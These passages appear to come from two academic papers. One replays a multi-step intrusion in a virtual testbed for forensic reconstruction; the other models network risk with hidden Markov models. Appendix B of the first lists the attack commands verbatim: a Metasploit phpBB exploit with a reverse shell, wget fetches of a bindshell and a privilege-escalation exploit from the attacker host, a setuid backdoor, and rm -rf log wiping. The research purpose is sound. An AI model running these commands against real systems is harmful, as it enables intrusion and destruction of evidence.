To replay the attack, images are derived from snapshots in the ViSe library to
represent the attack host, a detector host, and a vulnerable host. Each image
is an installation of Fedora Core 3 with system configuration and files specific
to its purpose. The attacker represents the single host conducting all the stages
of the attack, including network scanning and vulnerability exploitation. The
detector image is running a Snort 2.4.3 IDS system. The vulnerable image snap-
shot is created by adding a local system buffer overflow vulnerability (iwconfig)
to a predefined snapshot containing a remote, web-based vulnerability (phpBB
2.1.10). Both vulnerabilities are available in the ViSe library. Each snapshot is
then created into a full-clone on a separate, zeroed-out partition, as discussed in
Section 4.3. Figure 2 shows the resulting forensic testbed.
Fig. 2. ViSe image tree for example attack.
5.2 Replaying the Attack
The hypothesized event chain representing the attack is divided into a number of
discrete events, each leading to a new state. Each event leads to a state snapshot
that can be examined independently in order to determine the sequence of events
leading to the final image. The effects of an event are identified by finding the
differences between two successive states. The attack is replayed as follows (the
details of the attack are provided in Appendix B):
– Event 1: Network scan, port scan, and manual web-browsing by attacker.
The attacker uses nmap to determine the vulnerable host’s address and the
open ports on the victim. The attacker then uses the ELinks web-browser
to visit the web-page /phpBB2/ on the victim.
– Event 2: The attacker exploits the phpBB 2.0.10 viewtopic.php arbitrary
code execution vulnerability[32]. He gains a remote shell on the victim host
with username apache.
– Event 3: The attacker retrieves a bindshell using wget and executes it in
/tmp. The name of the bindshell is httpd, named to appear identical to the
default process run by apache. He then disconnects from his current remote
shell and connects to the listening port of the bindshell at port 12497.
– Event 4: The attacker searches for setuid programs using find and discovers
a vulnerable version of iwconfig[33]. He retrieves an exploit using wget and
executes it, becoming root.
– Event 5: The attacker creates a non-root user bash and uses wget to retrieve
a backdoor named ], which he places in /usr/bin. He then disconnects from
the bindshell.
– Event 6: The attacker logs in as the newly created user bash using ssh and
becomes root using the backdoor. The attacker then kills his old bindshell,
and removes all traces in /tmp and /var/log.
Note that there is a trade-off between the granularity of a reconstruction and
the number of events. At the highest-level of detail, every system call can be
viewed as an event. At the other extreme, an entire attack can be viewed as a
single event.
5.3 Attack Analysis and Verification
When the attack is replayed, the different stages are represented by six states,
as shown in Figure 3. Each state consists of a snapshot for each host, and one
state is reached from the previous state by an event. Images of all the snapshots
are acquired in the ViSe forensic system using the tool dcfldd. The analysis is
performed on a non-virtual host outside ViSe, as discussed in Section 4.4.
Fig. 3. State diagram for multi-step attack.
The attack is analyzed by comparing the states of the attack sequentially.
Every change between two states sk and sk+1 is considered an effect of the
corresponding event ek+1. If the effect is superseded by a later event, for instance
through a file modification or file deletion, only the latter effect is considered.
In this example, we present the results of the analysis in the tables, where each
row indicates the host, the type of evidence, the name of the evidence identifier,
and what action has affected the evidence. We do not claim completeness of the
analysis results – the tables are intended to demonstrate the use of ViSe and the
reconstruction methodology. For the purpose of this example, we only consider
evidence found in the file systems and log files of the victim host, as well as in
the network monitoring and intrusion detection system.
Table 1 shows the effects of the portscan on the victim system, as well as
on the network IDS. We see that the activity has been logged in the system
files, and the Snort IDS classifies the activity as a “portscan”. In table 2 we see
further logging on the victim system and IDS alerts indicating a PHP attack
using HTTP.
The remaining tables are provided in Appendix A. Table A-1 indicates that a
command has been run as root on the victim system and that a new file has been
generated. There is some logging activity, but no IDS alerts have been triggered.
Table A-2 shows the creation of two new files, as well as another IDS outbound
alert. In table A-3 the user database is updated, and a new home directory
Host Type Name Action
V F /var/log/messages M
V F /var/log/httpd/access log M
V F /var/log/secure M
V F /var/lib/mysql/mysql/phpbb sessions.MYI M
V F /var/lib/mysql/mysql/phpbb sessions.MYD M
V F /etc/cups/certs/0 M
T F /var/log/snort/snort.log.* C
T I (portscan) TCP Portsweep: Attacker C
T I (portscan) TCP Portscan: Attacker to Victim C
T N GET /phpBB2/ HTTP/1.1: Attacker to Victim:80 C
Table 1. Effects of Event 1. The following notation is used: A=attack host, V=victim
host, T=third-party host, F=file, N=network, I=Snort IDS log, C=create, M=modify,
D=delete
is created with the user-name bash. There are no IDS alerts, but the network
traffic indicates that a file has been downloaded. Finally, in table A-4 several files
created during the attack are deleted, and we see that an SSH connection has
been established. Based on these results, a comparison between the tables and
the digital evidence can be performed. Each table entry that is not superseded
by a later event can be compared to the digital evidence in order to support
or refute the attack hypothesis. Note that there may be several reasons why
there is no match. The evidence of an attack may have been changed, deleted,
or overwritten, depending on the evidence dynamics of the evidence in question.
It may be necessary to formulate an alternative hypothesis or add new events in
order to explain such discrepancies.
5.4 Alternative Hypothesis Formulation
Assume that we do not find support for the hypothesis in the original evidence.
For instance, assume that the effects of Event 4 (the iwconfig buffer overflow)
do not match the original evidence. In this case, we develop an alternate hy-
pothesis and replay the attack from the last common state. We revert to the
State 3 snapshot and create a new state diagram, represented by Figure 4. Our
alternative hypothesis can be stated as follows:
An attack host running Fedora Core 3 has launched and completed a multi-
step attack against the victim host running Fedora Core 3. The multi-step attack
consists of an Nmap scan, an exploit of the phpBB 2.0.10 viewtopic.php vulner-
ability, an installation of bindshell on port 12497 named httpd, an exploit of a
cdrecord environment variable privilege escalation vulnerability[34], the creation
of a non-root user and root backdoor, and finally the removal of traces.
Host Type Name Action
V F /var/log/httpd/error log M
V F /var/log/httpd/access log M
V F /var/log/secure M
V F /var/lib/mysql/mysql/phpbb sessions.MYI M
V F /var/lib/mysql/mysql/phpbb sessions.MYD M
V F /var/lib/mysql/mysql/phpbb topics.MYI M
V F /var/lib/mysql/mysql/phpbb topics.MYD M
V F /etc/cups/certs/0 M
T I WEB-PHP viewtopic.php access: Attacker to Victim:80 C
T I (http inspect) DOUBLE DECODING ATTACK: Attacker to Vic-
tim:80
C
T N TCP Connection Established: Attacker to Victim:4321 C
T I ATTACK-RESPONSES id check returned userid: Victim:4321 to
Attacker
C
Table 2. Effects of Event 2.
Fig. 4. Alternative Hypothesis for a multi-step attack.
The advantage of ViSe becomes apparent when we consider the similarities
of our previous hypothesis to the alternative one proposed above. By running
the new attack from the snapshot of State 3, we create the new states 4a, 5a,
and 6a, which we can compare to the original evidence to determine similarity.
6 Discussion
In this section, we discuss some aspects related to the use of ViSe and VMware
as part of a digital forensic reconstruction. Central to the discussion is the trade-
off between the detail of reconstruction and the difficulty of performing a recon-
struction. We discuss what type of attacks ViSe is suitable for and give examples
of some cases where other approaches might be more suitable. In addition, we
consider some performance issues related to using ViSe for event reconstruction.
6.1 Presenting a Real Case in Court
The proposed approach is intended to be a part of a digital investigation. The
approach does not substitute conventional digital forensics, but supplements the
forensic investigation by providing a methodology to find additional support for
hypotheses about a digital crime scene. In court, the results of a digital forensic
reconstruction can be used to provide additional support or to refute a particular
chain of events. An investigator will present the proofs acquired from the digital
crime scene and present these in court. The results of the reconstruction are then
used to support an interpretation of the evidence.
In a real case, it is essential to place the reconstruction in the context of
the crime and present a thorough explanation of the assumptions made in the
reconstruction. The initial state of the reconstruction, as hypothesized in H0,
can only be an approximation of the digital crime scene, and a good courtroom
defense lawyer will exploit any unexplained discrepancies. Furthermore, a re-
construction must take into consideration malware and anti-forensic tools and
explain what consequences such tools can have on the digital evidence and on
the reconstruction itself.
6.2 Timing and Complexity Issues
We have demonstrated how ViSe can be used as part of a reconstruction of a
multi-step attack involving an attacker host, a victim host, and a third party
host. There are, however, cases where ViSe and the event-based reconstruction
approach is less suitable.
Some computer attacks exploit timing issues such as race conditions and may
be difficult or impossible to recreate in a virtual environment. Also, distributed
events are not necessarily synchronized, and the order of events may be non-
deterministic. In the worst case, a reconstruction may be impossible because
of such timing issues, or the reconstruction may have to be run on a physical
testbed.
Another class of attacks that can be difficult to replay in a virtual testbed is
attacks that depend on specific network conditions or involve a high number of
hosts. An example of such an attack is a DDoS (Distributed Denial-of-Service)
attack, where thousands of hosts may be involved in the attack of one or more
victim hosts. Worm infection is another example that involves a high number
of hosts, acting both as victims and attackers. In such cases, it may be more
fruitful to study the attack through models or simulations, as was done in [10].
6.3 Performance Issues
As discussed in Section 4, the main performance advantage of using ViSe is that
snapshots of different system states are efficiently saved and restored. ViSe also
provides a library of reusable snapshots with different operating systems, vul-
nerabilities, and exploits. This significantly reduces the time for setting up a
virtual environment for reconstruction, and it facilitates the reuse of snapshots
for testing multiple hypotheses. Different variations of an attack can be ana-
lyzed as a tree with different branches of analysis. All of the states in the tree
are stored and can consequently be restored in reconstructions related to other
investigations. In this way, the focus of the testing is moved from setting up and
configuring a testbed to the actual digital forensic analysis.
Because the snapshots are stored as VMware images, we have proposed that
the acquisition and verification of disk images be performed on a forensic system
provided by ViSe. As discussed below, there is a performance penalty for doing
these operations in a virtual environment. The tasks of copying the image and
verifying the image hash are easily automated and need only be performed once
for each image. Therefore, we suggest performing them in the virtual environ-
ment.
Pentium 4 VMware
Boot time 1m9s 2m
Reboot time 1m22ss 2m20s
Take snapshot NA 8s
Restore state NA 9s
Clone full image (7.6GB) NA 8m6s
Copy partition image (dcfldd) 11m21s 48m46s
Hash all files in image (sha256deep) 3m56s 26m38s
Extract all strings from image (strings) 6m57s 118m47s
Table 3. Performance comparisons.
We have compiled a list of some performance measurements for Fedora Core
3 in Table 3. The measurements are performed on a 10GB disk image containing
an ext3 partition, using the time measurement tool where applicable. The boot
and reboot measurements were performed without a graphical user interface. We
can see from the table that there is a relatively high performance penalty related
to some common digital forensic operations, such as string extraction. Therefore,
we recommended that the ViSe testbed is only used for image acquisition and
verification, as well as for the actual replay of the attack. The forensic analysis,
i.e., comparing the different states related to an attack, should be done on an
external system. The performance benefits of using ViSe are in the replay of the
attack, not in the analysis of the results.
7 Conclusions
We have shown how ViSe provides an environment for efficient event recon-
struction and testing through reusable snapshots representing different states
of an attack. ViSe provides a framework with a library of operating systems,
vulnerable services, and exploits, providing a controlled and efficient testbed for
digital forensic testing. The attack is replayed in the virtualization testbed and
analyzed with respect to an initial hypothesis. As ViSe’s library of operating
systems, services, and exploits grows, the time to construct a virtual environ-
ment corresponding to a digital crime scene decreases. Therefore, the focus of
the event reconstruction testing is moved from setting up and running an attack
to the analysis of its effects. Although VMware supports a wide range of operat-
ing systems, there is no support for emulation of embedded systems such as cell
phones and PDAs. An extension of ViSe to include digital event reconstruction
on embedded systems is an open research topic.
In court, a reconstruction will be subject to thorough questioning. It is es-
sential to convince a court that the testing is forensically sound and that it is
relevant to the original digital crime scene. Although a reconstruction can neither
prove a hypothesis with absolute certainty, nor exclude the correctness of other
hypotheses, a standardized environment, such as ViSe, combined with event re-
construction and testing, can lend credibility to an investigation and can be a
great asset in court. Further work on understanding the effects of anti-forensic
tools on a reconstruction will add further value to the approach.
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A Analysis Results
This appendix contains the analysis results corresponding to each of the events.
Each row includes the host, the type of evidence, the name of the evidence
identifier, and what action has affected the evidence.
Host Type Name Action
V F /root/.bash history M
V F /tmp/httpd C
V F /var/log/wtmp M
V F /var/log/lastlog M
V F /var/log/messages M
V F /var/log/httpd/error log M
V F /var/run/utmp M
V F /etc/cups/certs/0 M
T N File httpd Downloaded: Victim to Attacker:80 C
T N TCP Connection Terminated: Attacker to Victim:4321 C
T N TCP Connection Established: Attacker to Victim:12497 C
Table A-1. Effects of Event 3. The following notation is used: A=attack host,
V=victim host, T=third-party host, F=file, N=network, I=Snort IDS log, C=create,
M=modify, D=delete
Host Type Name Action
V F /tmp/iwconfig C
V F /tmp/progs C
V F /etc/cups/certs/0 M
T N File iwconfig Downloaded: Attacker:80 to Victim C
T I ATTACK-RESPONSES id check returned root: Victim:12497 to
Attacker
C
Table A-2. Effects of Event 4.
Host Type Name Action
V F /etc/shadow- M
V F /etc/gshadow- M
V F /etc/gshadow M
V F /etc/group M
V F /etc/group- M
V F /etc/shadow M
V F /etc/passwd M
V F /var/log/messages M
V F /var/log/secure M
V F /usr/bin/] C
V F /home/bash/.* C
T N File ] Downloaded: Attacker:80 to Victim C
T N TCP Connection Terminated: Attacker to Victim:12497 C
Table A-3. Effects of Event 5.
Host Type Name Action
V F /tmp/* D
V F /var/log/* D
V F /var/run/utmp M
V F /etc/cups/certs/0 M
T N SSH Connection Established: Attacker to Victim:22 C
Table A-4. Effects of Event 6.
B Attack Details
This appendix contains the specific commands used in the multi-step attack. The
ViSe IP addresses are 128.111.48.125 (detector), 128.111.48.131 (attack host),
and 128.111.48.118 (vulnerable host).
#Event 1: Network, ping and webserver scan
nmap -sP 128.111.48.1-255 > ping ; cat ping
nmap 128.111.48.118 > 118 ; cat 118
links 128.111.48.118/phpBB2/
#Event 2 : Run vulnerable phpBB attack using Metasploit
./msfconsole
>show exploits
>use phpbb_highlight
>show
>show targets
>set TARGET 0
>show payloads
>set PAYLOAD cmd_unix_reverse
>show options
>set RHOST 128.111.48.118
>set PHPBB_ROOT /phpBB2
>set LHOST 128.111.48.131
>check
>exploit
#Event 3: Run vulnerable phpBB attack
id
cd /tmp; wget 128.111.48.131/httpd
chmod 700 ./httpd
./httpd
quit
#Event 4: Connect to bindshell and exploit iwconfig
nc 128.111.48.118 12497 -vv
find / -user root -perm -4000 -print 2> /dev/null >progs
cat progs
/sbin/iwconfig -v
wget 128.111.48.131/iwconfig
chmod 700 iwconfig; /iwconfig
whoami
#Event 5: Create a user bash and install a setuid backdoor
/usr/sbin/adduser bash
passwd bash
wget 128.111.48.131/]
chmod 4755 ] ; mv ] /usr/bin
#Event 6: Clear logs and backdoor tracks
ssh bash@128.111.48.118
/usr/bin/]
ps -ef | grep apache
kill <pid> #kill backdoors pids
rm -rf /tmp/*; rm -rf /var/log/*
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Abstract. Security-oriented risk assessment tools are used to determine
the impact of certain events on the security status of a network. Most
existing approaches are generally limited to manual risk evaluations that
are not suitable for real-time use. In this paper, we introduce an approach
to network risk assessment that is novel in a number of ways. First of all,
the risk level of a network is determined as the composition of the risks
of individual hosts, providing a more precise, fine-grained model. Second,
we use Hidden Markov models to represent the likelihood of transitions
between security states. Third, we tightly integrate our risk assessment
tool with an existing framework for distributed, large-scale intrusion de-
tection, and we apply the results of the risk assessment to prioritize the
alerts produced by the intrusion detection sensors. We also evaluate our
approach on both simulated and real-world data.
Keywords: Risk assessment, Intrusion detection, Hidden Markov mod-
eling.
1 Introduction
The complexity of today’s networks and distributed systems makes the process of
risk management, network monitoring, and intrusion detection increasingly dif-
ficult. The amount of data produced by a distributed intrusion detection system
can be overwhelming, and prioritization and selection of appropriate responses
is generally difficult. On the other hand, risk assessment methodologies are be-
ing used to model and evaluate network and system risk. These approaches are
generally limited to manual processes, and are not suitable for real-time use.
The approach presented in this paper provides both a high-level overview of
network risk based on individual risk evaluations for each host and a quantitative
metric for performing alert prioritization. Alerts are prioritized according to the
risk associated with the hosts referenced in the alert. Preliminary work on the
risk-assessment method used in this paper was presented in [1], but it was not
tested as part of an intrusion detection system. The implementation presented in
this paper processes the alerts produced by a set of sensors monitoring a number
of hosts. We use training data from Lincoln Laboratory [11] and real network
traffic from the Technical University of Vienna [8] to test the performance of the
model.
The main contribution of this paper is a novel approach to network risk as-
sessment. The approach considers the risk level of a network as the composition
of the risks of individual hosts. It is probabilistic and uses Hidden Markov mod-
els (HMMs) to represent the likelihood of transitions between security states.
We tightly integrate the risk assessment tool with an existing framework for
distributed, large-scale intrusion detection, and we apply the results of the risk
analysis to prioritize the alerts generated by the intrusion detection sensors.
Finally, the approach is evaluated using both simulated and real-world data.
The remainder of this paper is structured as follows. In Section 2 we present
the theoretical model and the necessary terminology for the paper. In Section 3
we present the system architecture, and in Section 4 we discuss how the method
can be used for real-time risk assessment for two example data sets. We provide
a discussion of the method in Section 5 and an overview of related work in
Section 6. Conclusions and some open research issues are discussed in Section 7.
2 Model and Terminology
This section presents our risk-assessment model and discusses some aspects of
parameter estimation and learning.
2.1 Security State Estimation
The use of Hidden-Markov Models (HMMs) as a method for estimating the risk
of a network was proposed in [1]. An HMM enables the estimation of a hidden
state based on observations that are not necessarily accurate. An important
feature of this model is that it is able to model the probability of false positives
and false negatives associated with the observations. The method is based on
Rabiner’s work on HMMs [13].
Assume that each host h can be modeled by N different states, i.e., S =
{s1, . . . , sN}. The security state of a host changes over time, and the sequence
of states visited by a host is denoted X = x1, . . . , xT , where xt ∈ S. Each host
is monitored by a number of sensors k ∈ Kh1 , . . . ,KhL, where L is the number of
sensors for host h. A sensor generates observation messages from the observation
symbol set V k = {vk1 , . . . , vkM}, where M is the number of messages for sensor
k. The sequence of observed messages is denoted Y = y1, . . . , yT , where yt ∈ V
is the observation message received at time t. The HMM for each host consists
of a state transition probability matrix P, an observation probability matrix Q,
and an initial state distribution pi. The HMM is denoted λ = (P,Q, pi).
The hosts modeled in this paper are assumed to have four possible security
states S = {G,P,A,C}, which are defined as follows:
– Good (G): The host is not subject to any attacks.
– Probed (P): The host is subject to probing or mapping activity. This state
can lead to a reduction in availability, and it increases the probability of an
attack.
– Attacked (A): The host is being attacked by one or more parties. This state
can lead to a reduction in availability, and it increases the probability of a
compromise.
– Compromised (C): The host has been compromised. This state may result
in loss of confidentiality, integrity, and availability.
Figure 1 shows the Markov model for the security states of the hosts. The
edge from one node to another represents the fact that when a host is in the
state indicated by the source node it can transition to the state indicated by the
destination node. Note that the graph is fully connected, which indicates that it
is possible to transition from any security state to any other security state.
The state transition probability matrix P describes the probabilities of tran-
sitions between the states of the model. Each entry, pij , describes the probability
that the model will transfer to state sj at time t+ 1 given that it is in state si
at time t, i.e., pij = P (xt+1 = sj |xt = si), 1 ≤ i, j ≤ N .
The observation probability matrix Q describes the probabilities of receiving
different observations given that the host is in a certain state. Each entry, qn(m),
represents the probability of receiving the observation symbol vkm at time t, given
that the host is in state sn at time t, i.e., qn(m) = P (ykt = v
k
m|xt = sn), 1 ≤ n ≤
N, 1 ≤ k ≤ K, 1 ≤ m ≤M .
G P A C
Fig. 1. Markov model for hosts.
Consider examples of a university network and a military network to see how
values are assigned to the model parameters.
Example 1. In a university network, we can assume that there are high volumes
of probing and a fair amount of attack attempts. The security level for hosts is
also varying, and a system compromise is a likely scenario for some hosts. Con-
sequently, the transitions to state P , A, and C are relatively likely. In addition,
because the traffic in university networks is heterogeneous and changing over
time, we assume that it is hard to configure and maintain accurate IDS sen-
sors. Therefore, we have to assume that there is a high number of false positives
and negatives. This is modeled by increasing the probabilities of receiving an
observation that indicates a false positive or a false negative and decreasing the
probability of receiving an accurate observation in the matrix Q. For example,
qG(4), which represents the probability of receiving an observation indicating
a compromised alert when the system is actually in the good state, has to be
increased to represent the false positive probability. P and Q can for example
be set as follows:
P =
0BB@
pGG pGP pGA pGC
pPG pPP pPA pPC
pAG pAP pAA pAC
pCG pCP pCA pCC
1CCA =
0BB@
0.95 0.02 0.02 0.01
0.02 0.95 0.02 0.01
0.02 0.02 0.94 0.02
0.01 0.01 0.01 0.97
1CCA ,
Q =
0BB@
qG(1) qG(2) qG(3) qG(4)
qP (1) qP (2) qP (3) qP (4)
qA(1) qA(2) qA(3) qA(4)
qC(1) qC(2) qC(3) qC(4)
1CCA =
0BB@
0.7 0.1 0.1 0.1
0.1 0.7 0.1 0.1
0.1 0.1 0.7 0.1
0.1 0.1 0.1 0.7
1CCA .
In this simple example, the values in the bottom left corner of the Q matrix
represent false negatives, whereas the values in the top right represent false
positives. The diagonal represents the probability of accurate detections. Also,
in such a network, the initial state distribution pi has to take into consideration
the probability that a system is already under attack or even compromised:
pi = {0.65, 0.2, 0.1, 0.05}.
Example 2. In a military grade system, we can assume that the security level
is very high, and the probability of attacks is low, as the system is not known
to the public. This implies that the probability of transition to P and A should
be low, but P should still take into account the possibility of random scanning.
Due to the high level of security, the probabilities of transition to state C should
be extremely low. The observation probabilities should represent the fact that
the traffic is regulated, and that the IDSs and logging systems are configured to
be highly accurate. The initial state can be assumed to be pi = {1, 0, 0, 0}. The
following are example transition and observation probability matrices:
P =
0.995 0.002 0.002 0.0010.02 0.959 0.02 0.0010.02 0.02 0.958 0.002
0.01 0.01 0.01 0.97
 ,Q =
0.97 0.01 0.01 0.010.01 0.97 0.01 0.010.01 0.01 0.97 0.01
0.01 0.01 0.01 0.97
 .
2.2 Risk Assessment
Each of the states for a host is associated with a cost vector C, indicating the
potential consequences of the state in question. The total risk Rh,t for host h at
time t is
Rh,t =
N∑
i=1
γt(i)C(i) (1)
where γt(i) is the probability that the host is in security state si at time t, N is
the number of security states, and C(i) is the cost value associated with state si.
Example 3. A university network usually consists of a large number of hosts,
including student laptops, workstations, web servers, student record databases,
and staff file servers. For the purpose of network management, the servers are
the most valuable assets, and a compromise of staff data or student records
could have very negative consequences. Example cost vectors could be: Claptop =
{0, 1, 2, 5}, Cworkstation = {0, 2, 5, 10}, Cwebserver = {0, 2, 5, 20}, CstudentDB =
{0, 5, 20, 50}, and Cfileserver = {0, 5, 10, 25}. If the current security state distri-
bution for the student record database is {0.8, 0.15, 0.05, 0}, then the risk for
that asset at time t is RstudentDB,t = 0.8 ∗ 0 + 0.15 ∗ 5 + 0.05 ∗ 20 = 1.75. The
same security state distribution for a student laptop would result in the risk
Rlaptop,t = 0.25.
The total risk for an entire network at time t can be expressed as
Rnw,t =
HX
h=1
Rh,t (2)
where H is the number of hosts in the network. By using the sum of the risk
of all hosts, it is possible to see aggregate peaks of risk activity where the risk
of several hosts are simultaneously increased. A property of this definition of
network risk is that security incidents that only involve a few hosts may not
impact the total risk of a large network to a noticeable degree. Also, the risk can
only be interpreted by using knowledge of the normal risk level of the system,
as well as the maximum risk of the system. A limitation of this definition of
network risk is that it does not consider dependencies between hosts. This is not
covered in this paper, but left for further work.
The average risk for a network can be expressed as
Rnw,t = Rnw,t
H
. (3)
As opposed to (2), the average risk for a network is a normalized value for a given
network. If a high percentage of the hosts in a network are subject to security
incidents, the average risk for the network can be expected to vary significantly
over time. Note that Rnw,t is system-dependent, as the HMMs and cost vectors
of different hosts vary.
In a traditional risk assessment context, one would expect risk to stay at
the most critical security state once that state has been reached. This paper
focuses on real-time risk assessment, and the model proposed in this paper is
intended to be used as a real-time tool for risk management. That is, we are
interested in representing the level of risk activity ; therefore, the HMMs used in
the examples allow the risk to gradually decrease, even if the host in question
has been assessed to be in state C. The arrival of new alerts indicating a less
critical state also decreases the risk of a host. This is done in order to avoid a
situation where an increasing number of hosts are assessed to have the maximum
risk possible. Another possible approach is outlined in Section 5.
2.3 Alert Prioritization
Each processed alert is assigned a priority according to the risk of the involved
hosts. If a host is assessed to have a high risk, all alerts involving that host will
receive a high priority, whereas a low risk host will receive a low priority. The
alert receives a prioritization number according to the host with the highest risk
number. The priority Pa for an alert a at time t can be determined as follows
Pa = max(Rh1,t,Rh2,t), (4)
where h1 is the source IP address and h2 is the destination IP address of the
alert a.
Example 4. In a network with both high and low value hosts, the priority of an
alert is decided by the current risk of the affected host, which is in turn a function
of the cost vector and the estimated security state. An alert a1 at time t for the
student database in Example 3 would receive a priority Pa1 = 1.75, whereas an
alert a2 for the student laptop would receive priority Pa2 = 0.25. If both the
source and destination address of an alert are monitored by the risk assessment
system, the priority is assigned to be the higher of the two risk values.
2.4 Parameter Estimation and Learning
The estimation of the appropriate values for the model parameters P, Q, pi, and
for the cost vector C can be determined using either training algorithms or ex-
pert knowledge, supported by an appropriate methodology. Notably, a uniform
initial distribution of the P and pi parameters is adequate as a basis for train-
ing the parameters, according to [13]. The initial parameters can alternatively
be determined using a risk assessment methodology, such as [2]. These method-
ologies provide a framework for identifying threats and vulnerabilities and for
determining probabilities and consequences of risks.
Based on an HMM with initial parameters, there are several algorithms avail-
able for re-estimating the parameters (i.e., training the models). There is, how-
ever, no analytical solution to the re-estimation problem, and there is no optimal
way of estimating the model parameters based on an observation sequence as
training data [13]. A standard approach for learning HMM parameters is the
Baum-Welch method, which uses iteration to select HMM parameters to maxi-
mize the probability of an observation sequence.
3 System Architecture and Implementation
This section discusses the architecture of the real-time risk assessment system
and how it is integrated into the STAT framework. Some implementation details
are also presented.
3.1 System Architecture
The risk-assessment system receives input events from multiple intrusion detec-
tion sensors throughout the protected network. Both host-based and network-
based sensors are supported. The alerts generated by the sensors are either in
the IDMEF format [3] or in a format native to the sensor. Native alert formats
are converted into IDMEF alerts before further processing. Intrusion detection
alerts from the sensors are collected by the MetaSTAT collector [17, 18] through
network connections. MetaSTAT then merges the different alert streams and the
aggregate stream is fed to the risk-assessment system.
The output of the system is a stream of prioritized alerts. The main advantage
of this system is that the security administrator can easily identify the most
important alerts by sorting them by the prioritization value. By handling the
important alerts first, the administrator can make more efficient use of his time.
The system is implemented as a set of modules in the STAT framework [17,
18]. Figure 2 is an overview of the architecture. The system consists of three
different modules: Alert Classification, Spoof Detection, and Risk Analysis. The
operation of each of the modules is explained in detail below.
Fig. 2. Overview of the System Architecture
The classification module augments the incoming alerts with a classification
attribute. The classification assigned to a given alert is dependent on the im-
pact that the attack referenced in the alert has on the network. The system
utilizes the following classes of attacks: successful recon limited, successful user,
and successful admin.
The IDMEF standard specifies an optional classification attribute, and the
classification module uses this attribute if it is set by the intrusion detection
sensor. Unfortunately, most sensors do not provide a value for the classification
attribute. When the classification module encounters alerts with no classifica-
tion, the missing attribute is looked up in a database. The database contains
a mapping from sensor-type/alert-name tuples to the corresponding class. The
mapping database can be created manually by looking at the rules of the de-
ployed intrusion detection sensors and classifying each rule as either referring
to a successful recon limited, successful user, or successful admin attack. The
database can also be created automatically if the rules of the intrusion detection
sensors contain a CVE id, which is often the case. The CVE database can be
queried for the description of the attack and the classification can be filled in
from the description.
A problem that may occur is that some alerts do not contain the real IP of the
host that caused the IDS alert to be generated. This happens when the attacker
host spoofs the source IP of the packets that are part of the attack. A network
IDS monitoring the attack traffic sees the attack coming from the spoofed IP
and reports the spoofed IP as the attacker. The spoof detection module detects
spoofed alerts and attempts to infer the real IP of the attacker.
Spoof detection can be performed by keeping track of what IP addresses each
host is utilizing. An anti-spoofing tool, such as arpwatch, can be utilized to
create a database of what IPs are associated with each Ethernet address. When
the spoof detection module of the risk assessment system receives an alert, the
database is consulted to check if the attacker IP contained in the alert matches
the Ethernet address in the alert. Some of the problems with this approach are
that most intrusion detection alerts do not contain Ethernet addresses and that
packets with spoofed Ethernet addresses would not be detected. Another way of
performing spoof detection is to check whether the IPs referenced in the alert
are part of the protected network. If neither the attacker nor the victim is part of
the protected network, the attack must either be spoofed or an outside attacker
is attacking another outsider using the protected network. Since most networks
do not allow traffic from third parties to transit their network, the second case is
highly unlikely, and one can conclude that spoofing has taken place. Note that
this spoof detection mechanism is unable to catch instances of spoofing where
the victim of the spoofing is within the protected network.
When a spoofed alert is detected, the real IP of the attacker can be fetched
from the IP mapping database if Ethernet addresses are present in the alerts.
In the case of alerts without Ethernet addresses the real attacker cannot easily
be identified. In this case, any of the hosts in the protected network could be
the attacker. The spoof detection module handles this by forwarding the alert
to every host in the subnet where the attack was detected.
After spoof detection is performed, the alerts are processed by the risk anal-
ysis module. The module keeps one HMM model for each of the protected hosts.
When an alert is received, the models for the hosts referenced in the alert are
looked up. For each of these hosts, the HMM model is updated with the latest
observation. Finally, the risk value for each of the affected hosts is calculated
and the alert is augmented with the maximum of these risk values before the
alert is sent to the administrator.
3.2 Implementation
The real-time risk assessment implementation is based on the algorithms in [1].
Only one observation probability matrix Q is defined for each host. For hosts
with multiple sensors (such as Mill and Pascal in Section 4.1), all sensors have
been incorporated into one Q.
The implementation is integrated into the STAT framework, as described
above. It consists of the following C++ classes: RiskObject (representing a
host), RiskSensor (representing an IDS sensor), and RiskObservation (rep-
resenting a sensor observation). The implementation receives IDMEF messages
from the framework, and processes these based on the source and destination IP
addresses, sensor identities, alert timestamps, and the alert impact values.
As the Hidden Markov Models are discrete time models, the risk is updated
for every second for each host, based on the available alerts relevant to each host.
A relevant alert either has the IP address of the host in question as its source or
destination IP address, or it originates from a host-based IDS on the host. If no
alert is available for a host, the system uses the default observation “no alert”
as input to the HMM computation. If more than one alert is received for a host
during the 1 sec. interval, the first alert is processed and the remaining alerts
are queued for the next intervals. For the sake of responsiveness, the maximum
queue size is set to 60 seconds for the purpose of this paper. All new alerts will
be discarded when the maximum queue size has been reached. This approach is
chosen in order to be able to handle alert bursts, such as the outbound DDoS
described in Section 4.1. Note that the problem of alert queues can be mitigated
by choosing a sufficiently short time interval for the hidden Markov models.
4 Experiments
The purpose of this section is to validate the proposed method and to demon-
strate how the system outlined in Section 3 can be used on real-life data. For the
experiments two different data sets were used: the Lincoln Laboratory 2000 data
set and traffic data from TU Vienna. The first data set contains experimental
data, whereas the second contains data from a real network. The advantage of
using the Lincoln Labs data is that it contains a truth file [11]. Therefore, the
results can be checked against these values. The TU Vienna data set validates
the feasibility of using the approach on real data.
The basic experimental approach was to determine the HMM parameters
Q, P, pi, and C for the Lincoln Laboratory data and to verify that the results
produced by our method correspond to the information gleaned from the truth
file. The same parameters were then used on the real traffic data from TU Vienna
in order to validate the model’s parameters in a realistic setting. By using the
same HMM parameters for both data sets, where applicable, it is possible to
compare the results obtained from the two cases.
The outcome of the experiments are highly dependent on the HMM param-
eters and the alert classification, in addition to the alert and traffic data used.
The HMM parameters used in these examples were determined manually based
on the authors’ experience with the models. The following general guidelines
were used in determining the appropriate values for the parameters:
– The risk level for a host should be close to zero when there are no alerts.
This implies that the probability of being in state G should be close to 1
when there are no alerts.
– When state C occurs, the model should stay in this state longer than it
would for states P and A.
– In order to make the results comparable, the cost vector for all hosts are
identical. In a real setting, the cost vectors for different assets would vary
depending on their value.
Section 4.1 presents the details of the parameters used and the results of ap-
plying the method to the Lincoln Laboratory 2000 data set. Section 4.2 presents
the same for the TU Vienna data.
4.1 Lincoln Laboratory Scenario (DDoS) 1.0
The Lincoln Laboratory 2000 data set [11] is based on experimental network
traffic for a network of four class C subnets. The data set contains a network
dump, as well as Solaris BSM [16] system logs. This data has been processed with
the Snort network-based IDS and the USTAT host-based IDS in order to generate
IDMEF alerts. The resulting data set contains more than three hours of intrusion
detection data for subnets 172.16.112.0/24, 172.16.113.0/24, 172.16.114.0/24,
and 172.16.115.0/24. The hosts Mill (172.16.115.20), Pascal (172.16.112.50), and
